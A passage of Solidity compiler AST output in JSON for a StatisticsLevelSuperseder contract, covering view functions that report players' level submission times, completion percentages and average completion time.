uint256)"}},"id":56890,"indexExpression":{"id":56889,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56859,"src":"6246:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6207:45:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"6165:87:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56869,"id":56892,"nodeType":"Return","src":"6158:94:117"}]},"functionSelector":"8dc03535","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56862,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56857,"src":"5992:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56863,"kind":"modifierInvocation","modifierName":{"id":56861,"name":"playerExistsCheck","nameLocations":["5974:17:117"],"nodeType":"IdentifierPath","referencedDeclaration":56623,"src":"5974:17:117"},"nodeType":"ModifierInvocation","src":"5974:25:117"},{"arguments":[{"id":56865,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56859,"src":"6025:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56866,"kind":"modifierInvocation","modifierName":{"id":56864,"name":"levelExistsCheck","nameLocations":["6008:16:117"],"nodeType":"IdentifierPath","referencedDeclaration":56596,"src":"6008:16:117"},"nodeType":"ModifierInvocation","src":"6008:23:117"}],"name":"getTimeElapsedForCompletionOfLevel","nameLocation":"5872:34:117","parameters":{"id":56860,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56857,"mutability":"mutable","name":"player","nameLocation":"5915:6:117","nodeType":"VariableDeclaration","scope":56894,"src":"5907:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56856,"name":"address","nodeType":"ElementaryTypeName","src":"5907:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56859,"mutability":"mutable","name":"level","nameLocation":"5931:5:117","nodeType":"VariableDeclaration","scope":56894,"src":"5923:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56858,"name":"address","nodeType":"ElementaryTypeName","src":"5923:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5906:31:117"},"returnParameters":{"id":56869,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56868,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56894,"src":"6049:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56867,"name":"uint256","nodeType":"ElementaryTypeName","src":"6049:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6048:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56934,"nodeType":"FunctionDefinition","src":"6386:376:117","nodes":[],"body":{"id":56933,"nodeType":"Block","src":"6596:166:117","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56920,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"expression":{"baseExpression":{"baseExpression":{"id":56912,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56529,"src":"6614:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref))"}},"id":56914,"indexExpression":{"id":56913,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56896,"src":"6626:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6614:19:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref)"}},"id":56916,"indexExpression":{"id":56915,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56898,"src":"6634:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6614:26:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage","typeString":"struct StatisticsLevelSuperseder.LevelInstance storage ref"}},"id":56917,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"6641:13:117","memberName":"timeSubmitted","nodeType":"MemberAccess","referencedDeclaration":56481,"src":"6614:40:117","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage","typeString":"uint256[] storage ref"}},"id":56918,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6655:6:117","memberName":"length","nodeType":"MemberAccess","src":"6614:47:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":56919,"name":"index","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56900,"src":"6665:5:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"6614:56:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e646578206f7574626f756e646564","id":56921,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6672:18:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_8a3687869195f1d0b4cf5507cfccb1778853211a1e388fdc67e1ea1abea80d55","typeString":"literal_string \"Index outbounded\""},"value":"Index outbounded"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_8a3687869195f1d0b4cf5507cfccb1778853211a1e388fdc67e1ea1abea80d55","typeString":"literal_string \"Index outbounded\""}],"id":56911,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6606:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":56922,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6606:85:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":56923,"nodeType":"ExpressionStatement","src":"6606:85:117"},{"expression":{"baseExpression":{"expression":{"baseExpression":{"baseExpression":{"id":56924,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56529,"src":"6708:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref))"}},"id":56926,"indexExpression":{"id":56925,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56896,"src":"6720:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6708:19:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref)"}},"id":56928,"indexExpression":{"id":56927,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56898,"src":"6728:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6708:26:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage","typeString":"struct StatisticsLevelSuperseder.LevelInstance storage ref"}},"id":56929,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"6735:13:117","memberName":"timeSubmitted","nodeType":"MemberAccess","referencedDeclaration":56481,"src":"6708:40:117","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage","typeString":"uint256[] storage ref"}},"id":56931,"indexExpression":{"id":56930,"name":"index","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56900,"src":"6749:5:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6708:47:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56910,"id":56932,"nodeType":"Return","src":"6701:54:117"}]},"functionSelector":"d844f6a4","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56903,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56896,"src":"6526:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56904,"kind":"modifierInvocation","modifierName":{"id":56902,"name":"playerExistsCheck","nameLocations":["6508:17:117"],"nodeType":"IdentifierPath","referencedDeclaration":56623,"src":"6508:17:117"},"nodeType":"ModifierInvocation","src":"6508:25:117"},{"arguments":[{"id":56906,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56898,"src":"6559:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56907,"kind":"modifierInvocation","modifierName":{"id":56905,"name":"levelExistsCheck","nameLocations":["6542:16:117"],"nodeType":"IdentifierPath","referencedDeclaration":56596,"src":"6542:16:117"},"nodeType":"ModifierInvocation","src":"6542:23:117"}],"name":"getSubmissionsForLevelByPlayer","nameLocation":"6395:30:117","parameters":{"id":56901,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56896,"mutability":"mutable","name":"player","nameLocation":"6434:6:117","nodeType":"VariableDeclaration","scope":56934,"src":"6426:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56895,"name":"address","nodeType":"ElementaryTypeName","src":"6426:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56898,"mutability":"mutable","name":"level","nameLocation":"6450:5:117","nodeType":"VariableDeclaration","scope":56934,"src":"6442:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56897,"name":"address","nodeType":"ElementaryTypeName","src":"6442:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56900,"mutability":"mutable","name":"index","nameLocation":"6465:5:117","nodeType":"VariableDeclaration","scope":56934,"src":"6457:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56899,"name":"uint256","nodeType":"ElementaryTypeName","src":"6457:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6425:46:117"},"returnParameters":{"id":56910,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56909,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56934,"src":"6583:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56908,"name":"uint256","nodeType":"ElementaryTypeName","src":"6583:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6582:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56955,"nodeType":"FunctionDefinition","src":"6836:303:117","nodes":[],"body":{"id":56954,"nodeType":"Block","src":"6948:191:117","nodes":[],"statements":[{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56952,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56948,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":56945,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56936,"src":"7101:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":56944,"name":"getTotalNoOfLevelsCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56795,"src":"7065:35:117","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view returns (uint256)"}},"id":56946,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7065:43:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"hexValue":"31653138","id":56947,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7111:4:117","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000000_by_1","typeString":"int_const 1000000000000000000"},"value":"1e18"},"src":"7065:50:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":56949,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"7064:52:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"expression":{"id":56950,"name":"levels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56464,"src":"7119:6:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":56951,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7126:6:117","memberName":"length","nodeType":"MemberAccess","src":"7119:13:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"7064:68:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56943,"id":56953,"nodeType":"Return","src":"7057:75:117"}]},"functionSelector":"bc3086a2","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56939,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56936,"src":"6922:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56940,"kind":"modifierInvocation","modifierName":{"id":56938,"name":"playerExistsCheck","nameLocations":["6904:17:117"],"nodeType":"IdentifierPath","referencedDeclaration":56623,"src":"6904:17:117"},"nodeType":"ModifierInvocation","src":"6904:25:117"}],"name":"getPercentageOfLevelsCompleted","nameLocation":"6845:30:117","parameters":{"id":56937,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56936,"mutability":"mutable","name":"player","nameLocation":"6884:6:117","nodeType":"VariableDeclaration","scope":56955,"src":"6876:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56935,"name":"address","nodeType":"ElementaryTypeName","src":"6876:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"6875:16:117"},"returnParameters":{"id":56943,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56942,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56955,"src":"6939:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56941,"name":"uint256","nodeType":"ElementaryTypeName","src":"6939:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6938:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57030,"nodeType":"FunctionDefinition","src":"7261:1155:117","nodes":[],"body":{"id":57029,"nodeType":"Block","src":"7446:970:117","nodes":[],"statements":[{"assignments":[56967],"declarations":[{"constant":false,"id":56967,"mutability":"mutable","name":"lastAverageTime","nameLocation":"7464:15:117","nodeType":"VariableDeclaration","scope":57029,"src":"7456:23:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56966,"name":"uint256","nodeType":"ElementaryTypeName","src":"7456:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":56971,"initialValue":{"baseExpression":{"id":56968,"name":"averageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56541,"src":"7482:32:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56970,"indexExpression":{"id":56969,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56957,"src":"7515:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7482:40:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"7456:66:117"},{"assignments":[56973],"declarations":[{"constant":false,"id":56973,"mutability":"mutable","name":"newAverageTimeTakenToCompleteLevels","nameLocation":"7540:35:117","nodeType":"VariableDeclaration","scope":57029,"src":"7532:43:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56972,"name":"uint256","nodeType":"ElementaryTypeName","src":"7532:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":56974,"nodeType":"VariableDeclarationStatement","src":"7532:43:117"},{"assignments":[56976],"declarations":[{"constant":false,"id":56976,"mutability":"mutable","name":"timeTakenForThisSuccessfulSubmission","nameLocation":"7593:36:117","nodeType":"VariableDeclaration","scope":57029,"src":"7585:44:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56975,"name":"uint256","nodeType":"ElementaryTypeName","src":"7585:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":56977,"nodeType":"VariableDeclarationStatement","src":"7585:44:117"},{"expression":{"id":56990,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":56978,"name":"timeTakenForThisSuccessfulSubmission","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56976,"src":"7639:36:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56989,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"baseExpression":{"id":56979,"name":"levelFirstCompletionTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56522,"src":"7690:24:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":56981,"indexExpression":{"id":56980,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56957,"src":"7715:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7690:32:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56983,"indexExpression":{"id":56982,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56959,"src":"7723:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7690:39:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"baseExpression":{"baseExpression":{"id":56984,"name":"levelFirstInstanceCreationTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56516,"src":"7732:30:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":56986,"indexExpression":{"id":56985,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56957,"src":"7763:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7732:38:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56988,"indexExpression":{"id":56987,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56959,"src":"7771:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7732:45:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"7690:87:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"7639:138:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":56991,"nodeType":"ExpressionStatement","src":"7639:138:117"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56996,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":56992,"name":"averageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56541,"src":"7882:32:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56994,"indexExpression":{"id":56993,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56957,"src":"7915:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7882:40:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":56995,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7926:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"7882:45:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":57025,"nodeType":"Block","src":"8039:319:117","statements":[{"expression":{"id":57017,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57004,"name":"newAverageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56973,"src":"8053:35:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57016,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57013,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57010,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57005,"name":"lastAverageTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56967,"src":"8110:15:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57008,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57006,"name":"totalNoOfLevelsCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56961,"src":"8129:32:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"31","id":57007,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8164:1:117","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"8129:36:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":57009,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"8128:38:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8110:56:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":57011,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"8109:58:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":57012,"name":"timeTakenForThisSuccessfulSubmission","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56976,"src":"8170:36:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8109:97:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":57014,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"8091:129:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"id":57015,"name":"totalNoOfLevelsCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56961,"src":"8223:32:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8091:164:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8053:202:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57018,"nodeType":"ExpressionStatement","src":"8053:202:117"},{"expression":{"id":57023,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":57019,"name":"averageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56541,"src":"8269:32:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":57021,"indexExpression":{"id":57020,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56957,"src":"8302:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"8269:40:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":57022,"name":"newAverageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56973,"src":"8312:35:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8269:78:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57024,"nodeType":"ExpressionStatement","src":"8269:78:117"}]},"id":57026,"nodeType":"IfStatement","src":"7878:480:117","trueBody":{"id":57003,"nodeType":"Block","src":"7929:104:117","statements":[{"expression":{"id":57001,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":56997,"name":"averageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56541,"src":"7943:32:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => 